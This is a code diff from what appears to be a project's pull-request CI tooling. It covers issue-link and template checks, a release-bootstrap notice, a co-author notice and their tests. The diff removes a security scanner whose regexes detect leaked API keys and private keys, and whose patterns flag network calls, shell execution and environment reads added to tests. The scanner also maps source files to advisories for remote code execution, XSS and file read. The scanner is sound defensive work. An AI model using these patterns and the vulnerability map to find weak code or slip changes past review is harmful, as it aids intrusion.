function countMatchedFields(lines, fieldSet) {
let matched = 0;
for (const variants of fieldSet) {
const hasMatch = variants.some(label => {
const esc = escapeRegExp(label);
// Accept markdown headings or bolded/plain labels on their own line.
// Examples: "## What happened?", "**Expected behavior**", "Problem:".
const pattern = new RegExp(
`^\\s*(?:#{1,6}\\s+|\\*\\*\\s*|__\\s*)?${esc}(?:\\s*[:?])?(?:\\s*\\*\\*|\\s*__)?\\s*$`,
'im'
);
return pattern.test(body);
});
if (hasMatch) matched += 1;
if (isFieldFilled(lines, variants)) matched += 1;
}
return matched;
}
// Remove HTML comments. The PR template puts its guidance and its example
// issue links ("Fixes: #123") inside comments, so the gate must not read them
// as author content.
function stripHtmlComments(body) {
return body.replace(/<!--[\s\S]*?-->/g, '');
}
export function hasInlineIssueDescription(body) {
if (!body || !body.trim()) return false;
// Strip the guidance comments, then scan the body line by line.
const lines = stripHtmlComments(body).split(/\r?\n/);
for (const fieldSet of Object.values(TEMPLATE_FIELDS)) {
if (countMatchedFields(body, fieldSet) >= INLINE_DESCRIPTION_MIN_FIELDS) {
if (countMatchedFields(lines, fieldSet) >= INLINE_DESCRIPTION_MIN_FIELDS) {
return true;
}
}
@@ -98,7 +175,7 @@ export function checkLinkedIssue(body, prTitle = '') {
return { passed: false, failures: ['PR body is empty — please fill out the PR template'] };
}
const linked = ISSUE_PATTERNS.some(p => p.test(body));
const linked = ISSUE_PATTERNS.some(p => p.test(stripHtmlComments(body)));
const inlined = hasInlineIssueDescription(body);
const passed = linked || inlined;
@@ -0,0 +1,151 @@
#!/usr/bin/env node
/**
* check-pr-release-bootstrap.mjs
* Detects release packages that this PR adds or newly release-enables whose
* names do not exist on npm yet, and emits an informational notice: the
* `policy` CI job will stay red until a maintainer bootstraps the name with
* `pnpm run release:bootstrap-package`. Contributors cannot fix that
* themselves, so the notice says so explicitly.
*
* Never fails (informational only) — outputs { passed: true, informational: string[] }
*
* Runs under pull_request_target from base-branch context: it only parses
* JSON and diff text fetched from the GitHub API and queries the npm registry
* with scope-validated names. It never executes PR code.
*/
import { fileURLToPath } from 'node:url';
import { ghFetch } from './get-bot-token.mjs';
import { resolveBaseRef } from './check-pr-dependencies.mjs';
const MANIFEST_PATH = 'scripts/release-package-manifest.json';
// Manifest content comes from the PR head (fork-controlled), so only names
// matching our scope are ever looked up on the registry.
const SCOPE_RE = /^@paperclipai\/[a-z0-9][a-z0-9._-]*$/;
const MAX_REGISTRY_LOOKUPS = 5;
function buildContentsPath(repo, filename, ref) {
return `/repos/${repo}/contents/${filename}?${new URLSearchParams({ ref }).toString()}`;
}
async function fetchManifestEntries(fetchFromGitHub, token, repo, ref) {
try {
const res = await fetchFromGitHub(buildContentsPath(repo, MANIFEST_PATH, ref), token);
const parsed = JSON.parse(Buffer.from(res.content, 'base64').toString());
return Array.isArray(parsed) ? parsed : [];
} catch {
return []; // manifest missing or unreadable on this ref
}
}
export async function fetchRegistryPackageExists(packageName) {
const res = await fetch(`https://registry.npmjs.org/${encodeURIComponent(packageName)}`, {
method: 'HEAD',
});
if (res.status === 404) return false;
if (res.ok) return true;
throw new Error(`npm registry returned ${res.status} for ${packageName}`);
}
// Names this PR newly declares a workspace dependency on, per the diff of any
// changed package.json. If one of them is an unpublished manifest entry that
// is not publishFromCi:true, the release manifest validator rejects the PR.
export function addedWorkspaceDependencyNames(files) {
const names = new Set();
for (const file of files) {
if (!file.filename.endsWith('package.json')) continue;
if (file.filename.includes('node_modules')) continue;
for (const line of (file.patch ?? '').split('\n')) {
if (!line.startsWith('+')) continue;
const match = line.match(/"(@paperclipai\/[a-z0-9][a-z0-9._-]*)"\s*:\s*"workspace:/);
if (match) names.add(match[1]);
}
}
return names;
}
function buildNotice({ name, reason }) {
const bootstrap =
`a **maintainer** must run \`pnpm run release:bootstrap-package -- ${name} --publish\` ` +
'and configure npm trusted publishing (see `doc/PUBLISHING.md`)';
if (reason === 'depended') {
return (
`🚀 New release package \`${name}\` is not on npm yet, and published packages in this PR ` +
`depend on it, so the \`policy\` check will stay red: ${bootstrap}, then set its manifest ` +
`entry to \`"publishFromCi": true\` — or drop the workspace dependency. ` +
'No contributor action is needed for the bootstrap itself.'
);
}
return (
`🚀 New release package \`${name}\` is not on npm yet, so the \`policy\` check will stay ` +
`red: ${bootstrap}. No contributor action is needed for this.`
);
}
export async function checkReleaseBootstrap(files, token, repo, prNumber, baseRef, deps = {}) {
const { fetchFromGitHub = ghFetch, registryPackageExists = fetchRegistryPackageExists } = deps;
const manifestChanged = files.some(
f => f.filename === MANIFEST_PATH && f.status !== 'removed'
);
// A PR can hit the manifest edge validator without touching the manifest:
// adding a workspace:* dependency on an existing unpublished
// publishFromCi:false package. Patch parsing is free, so compute the added
// dependencies first and keep the zero-API fast path only for PRs that
// neither touch the manifest nor add a workspace dependency.
const dependedOn = addedWorkspaceDependencyNames(files);
if (!manifestChanged && dependedOn.size === 0) return { passed: true, informational: [] };
const resolvedBaseRef = await resolveBaseRef(fetchFromGitHub, token, repo, prNumber, baseRef);
const [baseEntries, headEntries] = await Promise.all([
fetchManifestEntries(fetchFromGitHub, token, repo, resolvedBaseRef),
fetchManifestEntries(fetchFromGitHub, token, repo, `refs/pull/${prNumber}/head`),
]);
const basePublishFromCiByName = new Map(
baseEntries
.filter(e => e && typeof e.name === 'string')
.map(e => [e.name, e.publishFromCi === true])
);
const candidates = [];
for (const entry of headEntries) {
if (!entry || typeof entry.name !== 'string') continue;
const name = entry.name;
if (!SCOPE_RE.test(name)) continue;
const enabled = entry.publishFromCi === true;
const baseEnabled = basePublishFromCiByName.get(name);
if (enabled && baseEnabled !== true) {
// Newly release-enabled (added as true, or flipped false -> true): the
// bootstrap gate itself will fail if the name is missing from npm.
candidates.push({ name, reason: 'enabled' });
} else if (!enabled && dependedOn.has(name)) {
// Not release-enabled but this PR makes published packages depend on
// it: the manifest edge validator will fail if it stays unpublished.
candidates.push({ name, reason: 'depended' });
}
}
const informational = [];
for (const candidate of candidates.slice(0, MAX_REGISTRY_LOOKUPS)) {
let exists;
try {
exists = await registryPackageExists(candidate.name);
} catch {
continue; // registry hiccup: stay quiet, the policy job is the enforcer
}
if (!exists) informational.push(buildNotice(candidate));
}
return { passed: true, informational };
}
if (process.argv[1] === fileURLToPath(import.meta.url)) {
console.error('check-pr-release-bootstrap.mjs is a library used by run-quality-gates.mjs');
process.exit(1);
}
-393
View File
@@ -1,393 +0,0 @@
#!/usr/bin/env node
/**
* check-pr-security.mjs
* Runs 6 security checks against a PR diff. Never posts public comments.
* Creates a draft security advisory in the repo if any check fires.
*
* Env: GH_TOKEN, GH_REPO, PR_NUMBER, PR_AUTHOR
* Exit: always 0 — security flags are silent, never block the PR visibly.
*/
import { fileURLToPath } from 'node:url';
import { ghFetch } from './get-bot-token.mjs';
import { fetchAllPullRequestFiles } from './fetch-pr-files.mjs';
import { resolveBaseRef } from './check-pr-dependencies.mjs';
// ── Pure check functions (exported for testing) ───────────────────────────────
const SECRET_PATTERNS = [
{ name: 'OpenAI API key', re: /sk-[a-zA-Z0-9]{32,}/ },
{ name: 'Google API key', re: /AIza[0-9A-Za-z\-_]{35}/ },
{ name: 'AWS access key', re: /AKIA[0-9A-Z]{16}/ },
{ name: 'Private key', re: /-----BEGIN (RSA|EC|OPENSSH) PRIVATE KEY-----/ },
{ name: 'High-entropy secret', re: /[a-zA-Z_]*(key|token|secret|password|credential)[a-zA-Z_]*\s*[=:]\s*["'][^"']{20,}["']/i },
];
export function scanSecrets(files) {
const flags = [];
for (const file of files) {
if (!file.patch) continue;
const added = file.patch.split('\n').filter(l => l.startsWith('+') && !l.startsWith('+++'));
for (const line of added) {
for (const { name, re } of SECRET_PATTERNS) {
if (re.test(line)) {
flags.push({ check: 'secret-scan', file: file.filename, pattern: name, line: line.slice(0, 120) });
}
}
}
}
return flags;
}
const CI_BUILD_SCRIPTS = [
'scripts/release.sh',
'scripts/check-docker-deps-stage.mjs',
'scripts/check-release-package-bootstrap.mjs',
'scripts/release-package-map.mjs',
'scripts/docker-onboard-smoke.sh',
];
export function scanCITampering(files) {
return files
.filter(f => f.filename.startsWith('.github/workflows/') && f.status !== 'removed')
.map(f => ({ check: 'ci-tampering', file: f.filename }));
}
export function scanBuildScripts(files) {
return files
.filter(f => CI_BUILD_SCRIPTS.includes(f.filename) && f.status !== 'removed')
.map(f => ({ check: 'build-script-change', file: f.filename }));
}
export function scanSupplyChain(files) {
const lockfile = files.find(f => f.filename === 'pnpm-lock.yaml');
if (!lockfile?.patch) return [];
const added = new Set();
const removed = new Set();
for (const line of lockfile.patch.split('\n')) {
const entry = parseLockfilePackageDiffEntry(line);
if (!entry) continue;
if (entry.sign === '+') added.add(entry.packageName);
if (entry.sign === '-') removed.add(entry.packageName);
}
const netNew = [...added].filter(p => !removed.has(p));
return netNew.length ? [{ check: 'supply-chain', packages: netNew }] : [];
}
function parseLockfilePackageDiffEntry(line) {
const match = line.match(/^([+-])\s*(.+?)\s*$/);
if (!match) return null;
let [, sign, rawEntry] = match;
if (!rawEntry.endsWith(':')) return null;
rawEntry = rawEntry.slice(0, -1).trim();
if ((rawEntry.startsWith("'") && rawEntry.endsWith("'")) || (rawEntry.startsWith('"') && rawEntry.endsWith('"'))) {
rawEntry = rawEntry.slice(1, -1);
}
rawEntry = rawEntry.replace(/\(.*$/, '').trim();
const versionSep = rawEntry.lastIndexOf('@');
if (versionSep <= 0 || versionSep === rawEntry.length - 1) return null;
const packageName = rawEntry.slice(0, versionSep);
if (!/^(?:@[^/\s:]+\/)?[A-Za-z0-9._-][A-Za-z0-9._/-]*$/.test(packageName)) return null;
return { sign, packageName };
}
const TEST_FILE_RE = /\.(test|spec)\.(ts|js|tsx|jsx)$|\/(?:__tests__|tests?)\//;
const SUSPICIOUS_PATTERNS = [
{ name: 'outbound-network', re: /\+.*(fetch\(|axios\.|http\.request|https\.request)/ },
{ name: 'env-var-read', re: /\+.*process\.env\.(?!(?:NODE_ENV|CI|TEST|VITEST|npm_))([A-Z_]{4,})/ },
{ name: 'shell-exec', re: /\+.*(execSync\(|spawnSync\(|exec\(|spawn\()/ },
{ name: 'absolute-file-read', re: /\+.*(readFile|readFileSync)\s*\(\s*["'`]?\// },
];
export function scanTestPatterns(files) {
const flags = [];
for (const file of files) {
if (!TEST_FILE_RE.test(file.filename) || !file.patch) continue;
for (const { name, re } of SUSPICIOUS_PATTERNS) {
if (re.test(file.patch)) {
flags.push({ check: 'suspicious-test', file: file.filename, pattern: name });
}
}
}
return flags;
}
const SENSITIVE_PATHS = [
// Advisory 1: codex-local adapter (inherited ChatGPT/Gmail OAuth scopes)
'packages/adapters/codex-local/',
// Advisory 2 & 11: OS command injection / privilege escalation via provisionCommand / cleanupCommand
'server/src/services/workspace-realization.ts',
'server/src/routes/execution-workspaces.ts',
'server/src/routes/workspace-command-authz.ts',
// Advisory 3 & 6: Cross-tenant agent API key minting and IDOR on /agents/:id/keys
'server/src/routes/agents.ts',
// Advisory 4: Approval decision attribution spoofing via decidedByUserId
'server/src/routes/approvals.ts',
// Advisory 5: Stored XSS via javascript: URLs in MarkdownBody (urlTransform)
'ui/src/components/MarkdownBody.tsx',
// Advisory 7: Unauthenticated access to authenticated-mode endpoints
'server/src/routes/authz.ts',
// Advisory 8: Unauthenticated RCE via import authorization bypass
'server/src/routes/companies.ts',
// Advisory 9: Malicious skills able to exfiltrate / destroy user data
'server/src/routes/company-skills.ts',
// Advisory 10: Arbitrary file read via agent-controlled instructionsFilePath
'server/src/services/agent-instructions.ts',
];
export function scanSensitivePaths(files) {
return files
.filter(f => f.status !== 'removed' && SENSITIVE_PATHS.some(p => f.filename.startsWith(p)))
.map(f => ({
check: 'sensitive-path',
file: f.filename,
advisoryPath: SENSITIVE_PATHS.find(p => f.filename.startsWith(p)),
}));
}
function buildContentsPath(repo, filename, ref) {
return `/repos/${repo}/contents/${filename}?${new URLSearchParams({ ref }).toString()}`;
}
export async function validateSensitivePaths(token, repo, prNumber, baseRef, fetchFromGitHub = ghFetch) {
const resolvedBaseRef = await resolveBaseRef(fetchFromGitHub, token, repo, prNumber, baseRef);
const stale = [];
await Promise.all(SENSITIVE_PATHS.map(async (path) => {
try {
await fetchFromGitHub(buildContentsPath(repo, path, resolvedBaseRef), token);
} catch (err) {
// 404 means the file/directory no longer exists at this path
if (String(err.message).includes('404')) stale.push(path);
// Other errors (network, rate limit) — re-throw so we don't silently miss them
else throw err;
}
}));
return stale;
}
// ── Advisory creation ─────────────────────────────────────────────────────────
const SEVERITY_MAP = {
'supply-chain': 'critical',
'sensitive-path': 'critical',
'secret-scan': 'high',
'ci-tampering': 'high',
'suspicious-test': 'high',
'build-script-change': 'medium',
};
const SEVERITY_ORDER = ['low', 'medium', 'high', 'critical'];
function worstSeverity(flags) {
return flags.reduce((worst, f) => {
const s = SEVERITY_MAP[f.check] ?? 'medium';
return SEVERITY_ORDER.indexOf(s) > SEVERITY_ORDER.indexOf(worst) ? s : worst;
}, 'low');
}
export function buildAdvisoryPayload(prNumber, prTitle, flags) {
const checkNames = [...new Set(flags.map(f => f.check))].join(', ');
return {
summary: `🚨 Security flag — PR #${prNumber}: ${checkNames}`,
description: [
`**PR:** #${prNumber} — ${prTitle}`,
`**Checks triggered:** ${checkNames}`,
'',
'**Details:**',
...flags.map(f => [
`- \`${f.check}\`: ${f.file ?? ''}`,
f.pattern ? ` (pattern: ${f.pattern})` : '',
f.packages ? ` (packages: ${f.packages.join(', ')})` : '',
f.line ? `\n \`${f.line}\`` : '',
].join('')),
'',
'> This advisory was created automatically by commitperclip. Review and dismiss if not a real concern.',
].join('\n'),
severity: worstSeverity(flags),
vulnerabilities: [],
};
}
export async function syncDraftAdvisory(fetchImpl, token, repo, prNumber, prTitle, flags) {
const existing = await findExistingDraftAdvisory(fetchImpl, token, repo, prNumber);
const payload = buildAdvisoryPayload(prNumber, prTitle, flags);
if (existing) {
const advisoryId = existing.ghsa_id ?? existing.id;
if (!advisoryId) {
throw new Error(`Existing advisory for PR #${prNumber} is missing both ghsa_id and id.`);
}
// PATCH rejects `vulnerabilities: []` with 422 ("Advisory must have at least one vulnerability").
// The field is only valid on POST when creating the draft; updates must omit it.
const { vulnerabilities, ...patchPayload } = payload;
return fetchImpl(`/repos/${repo}/security-advisories/${advisoryId}`, token, {
method: 'PATCH',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(patchPayload),
});
}
return fetchImpl(`/repos/${repo}/security-advisories`, token, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(payload),
});
}
// Cap pagination so a large backlog of unrelated draft advisories cannot stall
// the security gate (it runs inside a 5-minute workflow timeout).
const MAX_DRAFT_ADVISORY_PAGES = 20;
export async function findExistingDraftAdvisory(fetchImpl, token, repo, prNumber) {
const prMarker = `PR #${prNumber}`;
for (let page = 1; page <= MAX_DRAFT_ADVISORY_PAGES; page += 1) {
const advisories = await fetchImpl(
`/repos/${repo}/security-advisories?state=draft&per_page=100&page=${page}`,
token,
);
if (!Array.isArray(advisories) || advisories.length === 0) return null;
const existing = advisories.find(advisory =>
typeof advisory?.summary === 'string' && advisory.summary.includes(prMarker)
);
if (existing) return existing;
if (advisories.length < 100) return null;
}
console.warn(
`[security] findExistingDraftAdvisory: hit ${MAX_DRAFT_ADVISORY_PAGES}-page cap without finding PR #${prNumber}; ` +
'treating as new advisory. A duplicate draft may be created.',
);
return null;
}
export async function postSecurityCheckRun(fetchImpl, token, repo, headSha, hasFlags) {
await fetchImpl(`/repos/${repo}/check-runs`, token, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(hasFlags ? {
name: 'security-review',
head_sha: headSha,
// `completed/neutral` instead of `in_progress` so the check doesn't put
// the PR in `mergeStateStatus: BLOCKED`. The draft advisory is the
// durable signal for maintainers; there is no completion path that
// could ever flip an `in_progress` check-run back to completed on the
// same head SHA, so it would hang forever.
status: 'completed',
conclusion: 'neutral',
output: {
title: 'Security Review Recommended',
summary: 'Draft advisory filed for maintainer review. Not a merge block — review the advisory at your leisure.',
},
} : {
name: 'security-review',
head_sha: headSha,
status: 'completed',
conclusion: 'success',
output: {
title: 'Security Review Passed',
summary: 'No security concerns detected.',
},
}),
});
}
// ── Main ──────────────────────────────────────────────────────────────────────
// Wall-clock budget for the whole script. The workflow job has a 5-minute
// timeout-minutes, and `continue-on-error: true` on a step does NOT override
// a job-level timeout — it only suppresses step failures. So if any API call
// (e.g. security-advisories POST/PATCH) hangs, the whole job is cancelled,
// failing the `review` check. This watchdog enforces the script's documented
// "always exit 0" contract regardless of API behaviour.
export const SCRIPT_WATCHDOG_MS = 90_000;
export function startScriptWatchdog(timeoutMs = SCRIPT_WATCHDOG_MS, exit = process.exit) {
const timer = setTimeout(() => {
console.warn(
`[security] script exceeded ${timeoutMs}ms wall-clock budget; exiting 0 per always-exit-0 contract`
);
exit(0);
}, timeoutMs);
// Don't keep the event loop alive solely for the watchdog.
timer.unref?.();
return timer;
}
async function main() {
const watchdog = startScriptWatchdog();
const { GH_TOKEN, GH_REPO, PR_NUMBER } = process.env;
if (!GH_TOKEN || !GH_REPO || !PR_NUMBER) {
console.error('ERROR: GH_TOKEN, GH_REPO, PR_NUMBER required');
process.exit(1);
}
// Sanitize inputs before use in URL construction (prevents SSRF)
const prNumber = parseInt(PR_NUMBER, 10);
if (!Number.isInteger(prNumber) || prNumber <= 0) {
console.error('ERROR: PR_NUMBER must be a positive integer');
process.exit(1);
}
if (!/^[a-zA-Z0-9_.-]+\/[a-zA-Z0-9_.-]+$/.test(GH_REPO)) {
console.error('ERROR: GH_REPO must be in owner/repo format');
process.exit(1);
}
// Validate SENSITIVE_PATHS — fails loudly if any have been refactored away on the PR base branch
const stalePaths = await validateSensitivePaths(GH_TOKEN, GH_REPO, prNumber);
if (stalePaths.length > 0) {
console.error('ERROR: Stale sensitive paths in check-pr-security.mjs:');
for (const p of stalePaths) console.error(` - ${p}`);
console.error('');
console.error('These paths no longer exist on the PR base branch. The security gate will silently produce no signal for them.');
console.error('Update SENSITIVE_PATHS in check-pr-security.mjs to reflect the current code structure.');
process.exit(1);
}
const [pr, files] = await Promise.all([
ghFetch(`/repos/${GH_REPO}/pulls/${prNumber}`, GH_TOKEN),
fetchAllPullRequestFiles(ghFetch, GH_REPO, prNumber, GH_TOKEN),
]);
const allFlags = [
...scanSecrets(files),
...scanCITampering(files),
...scanBuildScripts(files),
...scanSupplyChain(files),
...scanTestPatterns(files),
...scanSensitivePaths(files),
];
if (allFlags.length > 0) {
console.error(`[security] ${allFlags.length} flag(s) detected — creating draft advisory and pending check run`);
await Promise.all([
syncDraftAdvisory(ghFetch, GH_TOKEN, GH_REPO, prNumber, pr.title, allFlags),
postSecurityCheckRun(ghFetch, GH_TOKEN, GH_REPO, pr.head.sha, true),
]);
} else {
console.log('[security] all clear');
await postSecurityCheckRun(ghFetch, GH_TOKEN, GH_REPO, pr.head.sha, false);
}
// Always exit 0 — security flags are silent, never block the PR publicly
clearTimeout(watchdog);
process.exit(0);
}
if (process.argv[1] === fileURLToPath(import.meta.url)) {
main().catch(e => { console.error(e.message); process.exit(1); });
}
+21 -2
View File
@@ -16,6 +16,8 @@ import { checkDedupSearch } from './check-pr-dedup-search.mjs';
import { checkTestCoverage } from './check-pr-test-coverage.mjs';
import { checkLockfile } from './check-pr-lockfile.mjs';
import { checkDependencies } from './check-pr-dependencies.mjs';
import { checkReleaseBootstrap } from './check-pr-release-bootstrap.mjs';
import { checkCoauthors, fetchAllPullRequestCommits } from './check-pr-coauthors.mjs';
const COMMENT_SIGNATURE = '— commitperclip';
@@ -105,13 +107,24 @@ async function main() {
fetchAllPullRequestFiles(ghFetch, GH_REPO, prNumber, GH_TOKEN),
]);
// Separate, and allowed to fail. The co-author note is informational: it
// cannot fail a PR by design, so it must not be able to fail the workflow by
// accident either. Sharing the Promise.all above would let one transient
// 5xx on this request take down every gate, including the ones that block.
let commits = [];
try {
commits = await fetchAllPullRequestCommits(ghFetch, GH_REPO, prNumber, GH_TOKEN);
} catch (error) {
console.error(`co-author lookup skipped: ${error.message}`);
}
const prBody = pr.body ?? '';
const author = PR_AUTHOR ?? pr.user.login;
const branch = PR_BRANCH ?? pr.head.ref;
// Run all quality gates (pure functions run sync, deps check is async)
const prTitle = pr.title ?? '';
const [templateResult, issueResult, dedupResult, testResult, lockfileResult, depsResult] =
const [templateResult, issueResult, dedupResult, testResult, lockfileResult, depsResult, bootstrapResult] =
await Promise.all([
Promise.resolve(checkTemplate(prBody)),
Promise.resolve(checkLinkedIssue(prBody, prTitle)),
@@ -119,7 +132,9 @@ async function main() {
Promise.resolve(checkTestCoverage(files, prTitle)),
Promise.resolve(checkLockfile(files, author, branch)),
checkDependencies(files, GH_TOKEN, GH_REPO, prNumber, pr.base?.ref),
checkReleaseBootstrap(files, GH_TOKEN, GH_REPO, prNumber, pr.base?.ref),
]);
const coauthorResult = checkCoauthors(commits, author);
const allFailures = [
...templateResult.failures,
@@ -128,7 +143,11 @@ async function main() {
...testResult.failures,
...lockfileResult.failures,
];
const informational = depsResult.informational ?? [];
const informational = [
...(depsResult.informational ?? []),
...(bootstrapResult.informational ?? []),
...coauthorResult.informational,
];
const allPassed = allFailures.length === 0;
const commentBody = buildComment(author, allFailures, informational);
@@ -0,0 +1,179 @@
import { test } from 'node:test';
import assert from 'node:assert/strict';
import { checkCoauthors, fetchAllPullRequestCommits } from '../check-pr-coauthors.mjs';
function commit(login, name = null, email = null) {
return {
author: login ? { login } : null,
commit: { author: { name: name ?? login, email: email ?? `${login}@users.noreply.github.com` } },
};
}
test('checkCoauthors: says nothing when every commit is the PR author\'s own', () => {
const result = checkCoauthors(
[commit('tonio-alucema'), commit('tonio-alucema')],
'tonio-alucema'
);
assert.equal(result.passed, true);
assert.deepEqual(result.informational, []);
});
test('checkCoauthors: hands over the trailer when the branch carries someone else\'s commit', () => {
// The case this exists for: a stale contributor PR rebased and landed by a
// maintainer. Squash-merging drops the contributor unless the squash body
// carries their trailer.
const result = checkCoauthors(
[commit('stubbi', 'Jannes Stubbemann'), commit('tonio-alucema')],
'tonio-alucema'
);
assert.equal(result.informational.length, 1);
assert.match(result.informational[0], /Jannes Stubbemann/);
assert.match(
result.informational[0],
/Co-Authored-By: Jannes Stubbemann <stubbi@users\.noreply\.github\.com>/
);
});
test('checkCoauthors: never fails the PR, because the squash message does not exist yet', () => {
// Informational only. The author of the PR cannot satisfy this from the PR,
// so failing here would block work on something unfixable at that point.
const result = checkCoauthors([commit('stubbi')], 'tonio-alucema');
assert.equal(result.passed, true);
});
test('checkCoauthors: matches the PR author case-insensitively', () => {
// GitHub logins are case-insensitive, and PR_AUTHOR does not always arrive
// in the same case as the commit author login.
const result = checkCoauthors([commit('Tonio-Alucema')], 'tonio-alucema');
assert.deepEqual(result.informational, []);
});
test('checkCoauthors: ignores bots', () => {
const result = checkCoauthors(
[commit('github-actions[bot]'), commit('dependabot[bot]')],
'tonio-alucema'
);
assert.deepEqual(result.informational, []);
});
test('checkCoauthors: lists each contributor once, however many commits they wrote', () => {
const result = checkCoauthors(
[commit('stubbi', 'Jannes Stubbemann'), commit('stubbi', 'Jannes Stubbemann')],
'tonio-alucema'
);
const trailers = result.informational[0].match(/Co-Authored-By:/g) ?? [];
assert.equal(trailers.length, 1);
});
test('checkCoauthors: falls back to the raw git author when GitHub matched no account', () => {
// A commit authored with an email GitHub cannot resolve still deserves a
// trailer — that is precisely the identity most likely to be lost.
const result = checkCoauthors(
[{ author: null, commit: { author: { name: 'Ada Lovelace', email: 'ada@example.com' } } }],
'tonio-alucema'
);
assert.match(result.informational[0], /Co-Authored-By: Ada Lovelace <ada@example\.com>/);
});
test('checkCoauthors: skips an unattributable commit rather than emitting a broken trailer', () => {
const result = checkCoauthors(
[{ author: null, commit: { author: { name: 'Nameless', email: null } } }],
'tonio-alucema'
);
assert.deepEqual(result.informational, []);
});
test('checkCoauthors: names the count rather than everyone when several contributed', () => {
const result = checkCoauthors(
[commit('stubbi', 'Jannes Stubbemann'), commit('elJayAdvisor', 'LJ')],
'tonio-alucema'
);
assert.match(result.informational[0], /2 other contributors/);
assert.match(result.informational[0], /Jannes Stubbemann/);
assert.match(result.informational[0], /LJ/);
});
test('checkCoauthors: tolerates a PR with no commits', () => {
assert.deepEqual(checkCoauthors([], 'tonio-alucema').informational, []);
assert.deepEqual(checkCoauthors(undefined, 'tonio-alucema').informational, []);
});
test('fetchAllPullRequestCommits: pages until a short batch', async () => {
const seen = [];
const commits = await fetchAllPullRequestCommits(async (path) => {
seen.push(path);
if (path.endsWith('page=1')) return Array.from({ length: 100 }, () => commit('stubbi'));
return [commit('tonio-alucema')];
}, 'paperclipai/paperclip', 9900, 'token');
assert.equal(commits.length, 101);
assert.equal(seen.length, 2);
});
test('fetchAllPullRequestCommits: stops at the API ceiling instead of looping', async () => {
// `/pulls/{n}/commits` caps at 250 and keeps returning full pages of nothing
// new past that. A branch that large is not what this gate is about, but it
// must not spin.
let calls = 0;
const commits = await fetchAllPullRequestCommits(async () => {
calls += 1;
return Array.from({ length: 100 }, () => commit('stubbi'));
}, 'paperclipai/paperclip', 9900, 'token');
assert.equal(calls, 3);
assert.equal(commits.length, 300);
});
test('checkCoauthors: counts one person once when their git name varies across commits', () => {
// People change their git config. Keying the dedup on the rendered trailer
// would put two lines for the same contributor into the squash body.
const result = checkCoauthors(
[commit('stubbi', 'Jannes Stubbemann'), commit('stubbi', 'J. Stubbemann')],
'tonio-alucema'
);
const trailers = result.informational[0].match(/Co-Authored-By:/g) ?? [];
assert.equal(trailers.length, 1);
assert.doesNotMatch(result.informational[0], /other contributors/);
});
test('checkCoauthors: does not credit the PR author as a co-author of themselves', () => {
// Their own commit, authored with an email GitHub could not match to the
// account. Without the guard they appear in their own trailer list.
const byName = checkCoauthors(
[{ author: null, commit: { author: { name: 'tonio-alucema', email: 'tonio@example.com' } } }],
'tonio-alucema'
);
const byEmail = checkCoauthors(
[{ author: null, commit: { author: { name: 'Tonio', email: 'tonio-alucema@users.noreply.github.com' } } }],
'tonio-alucema'
);
assert.deepEqual(byName.informational, []);
assert.deepEqual(byEmail.informational, []);
});
test('checkCoauthors: counts one person once when some commits matched their account and some did not', () => {
// The mixed case: GitHub resolved one commit to the login and left another
// unmatched, both carrying the same email. Keying on login alone emits two
// trailers for one contributor.
const result = checkCoauthors(
[
commit('stubbi', 'Jannes Stubbemann', 'jannes@example.com'),
{ author: null, commit: { author: { name: 'Jannes Stubbemann', email: 'jannes@example.com' } } },
],
'tonio-alucema'
);
const trailers = result.informational[0].match(/Co-Authored-By:/g) ?? [];
assert.equal(trailers.length, 1);
});
@@ -1,5 +1,7 @@
import { test } from 'node:test';
import assert from 'node:assert/strict';
import { readFileSync } from 'node:fs';
import { fileURLToPath } from 'node:url';
import { checkLinkedIssue, hasInlineIssueDescription } from '../check-pr-linked-issue.mjs';
// Existing tests with title parameter added (defaults to no prefix, so still required)
@@ -221,3 +223,184 @@ None.
`;
assert.equal(hasInlineIssueDescription(body), true);
});
// Prose-only description (no template labels) must fail. A good paragraph of
// prose matches zero labels, so the gate rejects it.
test('fails with a prose-only description that has no template labels', () => {
const body = `
This pull request rewrites the retry loop so the worker gives up after five
attempts instead of looping forever. The previous loop could hang a job when
the upstream service was down. I also added a log line for each retry so an
operator can see the backoff in the run output.
`;
const result = checkLinkedIssue(body, 'feat: bounded retry');
assert.equal(result.passed, false);
assert.ok(result.failures.length > 0);
});
// An author who copies the feature template labels into the PR body must pass.
// The labels use the bold-label-on-its-own-line form the gate accepts.
const FEATURE_BOLD_LABEL_BODY = `
**Problem or motivation:**
- The gate rejects a good prose description.
**Proposed solution:**
- Copy the feature template labels into the PR body.
**Alternatives considered:**
- Lower the field threshold — rejected, it weakens the gate.
`;
test('passes with the feature template labels (bold labels)', () => {
assert.equal(checkLinkedIssue(FEATURE_BOLD_LABEL_BODY, 'feat: inline feature description').passed, true);
});
// Enhancement template set (matches .github/ISSUE_TEMPLATE/enhancement.yml).
const ENHANCEMENT_INLINE_BODY = `
## What existing behavior does this improve?
The board task list sort order.
## Current behavior
The list sorts by creation time only.
## Proposed behavior
The list sorts by priority, then creation time.
## Reason and benefit
Users miss high-priority tasks that were created early.
`;
test('passes with inline enhancement description (4 template fields)', () => {
assert.equal(checkLinkedIssue(ENHANCEMENT_INLINE_BODY, 'feat: sort by priority').passed, true);
});
test('hasInlineIssueDescription returns true for ≥3 enhancement fields', () => {
assert.equal(hasInlineIssueDescription(ENHANCEMENT_INLINE_BODY), true);
});
// Empty default skeleton must fail. A label with only the bare "-" placeholder
// under it is not filled, so it must not count toward the field minimum.
const EMPTY_SKELETON_BODY = `
**What happened?**
-
**Expected behavior:**
-
**Steps to reproduce:**
-
`;
test('fails with an empty template skeleton (labels but no content)', () => {
const result = checkLinkedIssue(EMPTY_SKELETON_BODY, 'feat: something');
assert.equal(result.passed, false);
assert.ok(result.failures.length > 0);
});
test('hasInlineIssueDescription returns false for an empty skeleton', () => {
assert.equal(hasInlineIssueDescription(EMPTY_SKELETON_BODY), false);
});
// A filled bug skeleton in the bold-label form must pass, even with list-marker
// content. This proves the fix does not reject real author content.
const FILLED_BUG_SKELETON_BODY = `
**What happened?**
- The login button does nothing.
**Expected behavior:**
- The login button authenticates the user.
**Steps to reproduce:**
- Open the app, then click login.
`;
test('passes with a filled bug skeleton (three filled fields)', () => {
assert.equal(checkLinkedIssue(FILLED_BUG_SKELETON_BODY, 'feat: fix login').passed, true);
});
// Stacked plain labels with no content must fail. Each label sits on its own
// line with the next label directly under it. The scan must treat the next
// label as a field boundary, not as content, so every field stays empty.
const STACKED_FEATURE_LABELS = `
Problem or motivation:
Proposed solution:
Alternatives considered:
